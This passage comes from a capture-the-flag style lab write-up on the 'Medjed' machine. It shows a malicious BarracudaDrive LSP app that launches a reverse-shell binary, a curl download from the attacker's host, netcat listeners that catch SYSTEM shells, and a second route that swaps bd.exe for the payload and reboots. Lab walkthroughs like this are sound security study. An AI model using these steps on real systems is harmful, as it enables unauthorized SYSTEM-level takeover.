  "hidden": false,
  "type": "lsp"
}


I’ll craft my own LSP app and call it “revshell”. .appinfo would follow the same structure as above:

{"description":"revshell","copyright":"ch3ng","rootapp":false,"hidden":false,"type":"lsp"}


For index.lsp, I’ll just use a very simple payload that runs the previously uploaded msfvenom binary.

<?lsp
os.execute("C:\\Users\\Public\\Downloads\\shell.exe")
?>


I’ll zip it up and upload it to Medjed.

Kali
┌──(ch3ng㉿localhost)-[~/machines/medjed]
└─$ zip revshell.zip .appinfo index.lsp

 
  adding: .appinfo (deflated 50%)
  adding: index.lsp (deflated 26%)


MEDJED
C:\bd\application> curl http://192.168.45.160:8000/revshell.zip -o revshell.zip

 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   698  100   698    0     0    698      0  0:00:01 --:--:--  0:00:01  2624

Back on Application Manager, I’ll select my uploaded ZIP and submit it.

Now “revshell” is seen in the app list.

It seemed to be set up properly. Most importantly BD identified it as a dynamic LSP app.

I clicked on the link and the page hanged, but a SYSTEM shell was sent back.

Kali
┌──(ch3ng㉿localhost)-[~/machines/medjed]
└─$ rlwrap nc -lvnp 8001

listening on [any] 8001 ...
connect to [192.168.45.160] from (UNKNOWN) [192.168.200.127] 49777
Microsoft Windows [Version 10.0.19042.1387]
(c) Microsoft Corporation. All rights reserved.


C:\bd> whoami

nt authority\system

Root Flag:

MEDJED
C:\Users\Administrator\Desktop> type proof.txt

ca6d772b************************


Intended Path:

Similar to the foothold exploit, the intended escalation path was not what I did. In fact, it’s the public exploit that I’ve also identified earlier.

The exploit essentially leverages overly permissive privileges granted during the default installation of BarracudaDrive. As a member of the Authenticated Users group, jerren has write access to C:\bd\, which allows replacing the BarracudaDrive executable with something malicious. When the system restarts, it’ll be executed by SYSTEM.

MEDJED
C:\Users\Jerren\Desktop> icacls c:\bd\

c:\bd\ BUILTIN\Administrators:(I)(OI)(CI)(F)
       NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
       BUILTIN\Users:(I)(OI)(CI)(RX)
       NT AUTHORITY\Authenticated Users:(I)(M)
       NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)

Successfully processed 1 files; Failed processing 0 files

I initially thought it’s impossible, since SeShutdownPrivilege was disabled for the user.

MEDJED
C:\Users\Jerren\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State   
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled 
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

Turns out I misunderstood what “Disabled” means. All the listed privileges have already been granted to the user, “disabled” just means the privilege is not active in the current session. Most privileges need to be explicitly enabled before they can be used, but some system utilities such as shutdown internally enable the necessary privileges before performing the action. As such the user would still be able to perform a system restart.

Back to the exploit, it’s actually much more simple than what I did. All that’s required is to replace bd.exe with a reverse shell binary.

MEDJED
C:\bd> move bd.exe bd_backup.exe

1 file(s) moved.

C:\bd> copy c:\users\public\downloads\shell.exe bd.exe

1 file(s) moved.

Then I’ll restart the box by running shutdown /r and wait. It took a while, but eventually a SYSTEM shell was sent back.

Kali
┌──(ch3ng㉿localhost)-[~/machines/medjed]
└─$ rlwrap nc -lvnp 8001

listening on [any] 8001 ...
connect to [192.168.45.160] from (UNKNOWN) [192.168.221.127] 49668
Microsoft Windows [Version 10.0.19042.1387]
(c) Microsoft Corporation. All rights reserved.


C:\WINDOWS\system32> whoami

nt authority\system